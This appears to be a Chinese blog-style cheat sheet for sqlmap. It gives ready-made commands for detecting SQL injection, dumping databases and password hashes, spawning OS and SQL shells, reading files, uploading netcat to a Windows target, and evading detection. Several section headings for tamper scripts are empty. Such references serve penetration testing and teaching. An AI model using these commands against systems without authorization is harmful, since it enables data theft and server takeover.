Sqlmap全家桶之一文掌握sqlmap的各种使用技巧

Sqlmap之全参数含义

***该部分可参考breezeO_o师傅的文章，见下面的链接，随用随查即可******链接：https://blog.csdn.net/Breeze_CAT/article/details/80628392***

--parse-errors 解析并显示报错信息;
--hex dump非ascii字符时，将其编码为16进制，收到后解码还原;
-v 显示信息的级别，一共有六级：0：只显示python 错误和一些严重信息；1：显示基本信息（默认）；2：显示debug信息；3：显示注入过程的payload；4：显示http请求包；5：显示http响应头；7：显示http相应页面;
--safe-freq=SAFE.. 频繁的发送错误的请求，服务器也会销毁session或者其他惩罚方式，开启这个功能之后，发几次错的就会发一次对的,通常用于盲注;
--level=LEVEL 设置测试的等级（1-5，默认为1）lv2：cookie; lv3：user-agent，refere; lv5：host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload;
--risk=RISK 风险（1-4，默认1）升高风险等级会增加数据被篡改的风险。risk 2：基于事件的测试;risk 3：or语句的测试;risk 4：update的测试;

Sqlmap之注入点测试参数

#基础检测
    sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1
#POST请求的注入点测试
    sqlmap.py -r  post.txt
#批量检测(注意target.txt跟sqlmap.py在同一个目录下)
    sqlmap.py -m target.txt
#站点爬取
    sqlmap.py -u "http://127.0.0.1/" --batch --crawl=3 
#模拟测试手机环境站点
    sqlmap.py -u "http://127.0.0.1/vuln.php?id=1" --mobile 
#智能判断测试点
    sqlmap.py -u "http://127.0.0.1/info.php?id=1" --batch --smart 
#自动填写表单进行注入
    sqlmap.py -u "http://127.0.0.1/info.php?id=1" --forms
#有的站点需要Cookie才能扫描，需要登录后指定Cookie
    sqlmap.py -u "http://127.0.0.1/info.php?id=1" --cookie="*value*"

###注意：在批量扫验证的时候，发现不同版本号扫描的结果不一样，1.2.11.6版本可以扫出来数据，但是1.3.4版本就没办法;
    经过分析，两坑如下：
    One、v1.2.11(/v1.2.10/v1.2.9/master)的boundaries.xml没有了针对模糊查询(%)的测试，而v1.2(/v1.1.12/1.1.4/1.2.2)则有。
    Two、v1.2.11(/v1.2.10/1.2.9/master)必须手动设置json的某个参数为*才能对这个参数进行注入，否则payload直接跟在json后导致无法注入，而v1.2(/v1.1.12)则可以默认回车(y)即可对json的某个参数注入。

Sqlmap之获取数据测试参数

#获取当前所有数据库名
    sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1 --dbs --batch
#获取某一数据库(admin)的所有表名
    sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1 -D admin --tables --batch
#获取某一数据库(admin)中表的所有的数据个数
    sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1 -D admin --count --batch
#获取某一数据库(admin)的某一数据表(username)的所有字段名
    sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1 -D admin -T username --columns --batch
#获取某一数据库(admin)的某一数据表(username)的某一列(password)的前10行数据
    sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1 -D admin -T username -C password --start=1 --stop=10 --dump --batch

Sqlmap之获取信息参数

#使用hex避免字符编码导致数据丢失
    sqlmap.py -u "http://127.0.0.1/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors  
#当前用户有权限读取包含用户密码的权限时，sqlmap会现列举出用户，然后列出hash，并尝试破解
    sqlmap.py -u "http://127.0.0.1/get_int.php?id=1" --passwords
#查找数据库管理系统的标识
    sqlmap.py -u "http://127.0.0.1/get_int.php?id=1" --banner
#其他信息参数如下
    --current-user      获取数据库管理系统当前用户
    --current-db        获取数据库管理系统当前数据库
    --hostname         获取数据库服务器的主机名称
    --is-dba            检测DBMS当前用户是否DBA
    --users             枚举数据库管理系统用户
    --passwords         枚举数据库管理系统用户密码哈希
    --privileges        枚举数据库管理系统用户的权限
    --roles            枚举数据库管理系统用户的角色
    --schema            枚举数据库架构
    --search            查找特定的列名，表名或数据库名，配合上面的-D,-C,-T
    --comments    检索数据库的备注
    --exclude-sysdbs    枚举表时排除系统数据库

Sqlmap之执行命令&执行SQL语句

#执行系统命令
    sqlmap.py -u "url" --os-cmd="net user"
#执行系统交互的Shell
    sqlmap.py -u “url” --os-shell
#执行一条SQL语句
    --sql-query=QUERY   要执行的SQL语句
#创建一个SQL的Shell
    --sql-shell 创建一个sql的shell
##查询是否站库分离(判断主机名和数据库名是否一样)
    select @@hostname; //服务端主机名称 
    select host_name();

Sqlmap之上传&读取文件

#读取文件(从后端的数据库管理系统文件系统读取文件)
    --file-read=RFILE   
##SQL Server2005中读取二进制文件example.exe:
    sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe"

#上传文件
   --file-write=WFILE  要上传的本地文件路径
   --file-dest=DFILE   写入目标系统的绝对路径
##在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下：
    python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write "/software/nc.exe" --file-dest "C:/WINDOWS/Temp/nc.exe" 

Sqlmap之注入中的规避技巧

#延时注入(延时0.5秒)
    sqlmap --dbs -u "url" --delay 0.5
#sqlmap请求指定次数（请求2次）
    sqlmap --dbs -u "url“ --safe-freq=2

Sqlmap之注入中的必备参数

-p                  指定测试的参数
--skip=SKIP         跳过对给定参数的测试
--skip-static       跳过测试不显示为动态的参数
--dbms=MySQL        指定数据库类型
--dbms-cred=DBMS..  DBMS认证凭证(user:password)
--tamper=TAMPER    使用给定的脚本篡改注入数据

Tamper功能&Tamper选择备忘录

Tamper功能

MySQL常用Tamper

Sql Server常用Tamper

ACCESS常用Tamper

Oracle常用Tamper

PostgreSQL常用Tamper

SQLite常用Tamper

未知适用范围常用Tamper

参考

http://www.langzi.fun/SQLMAP%E9%80%9F%E6%9F%A5%E8%A1%A8.html
https://blog.csdn.net/Breeze_CAT/article/details/80628392
https://zhzhdoai.github.io/2019/02/25/sqlmap%E6%93%8D%E4%BD%9C(sqlilabs)/#%E5%89%8D%E8%A8%80
https://www.freebuf.com/sectool/179035.html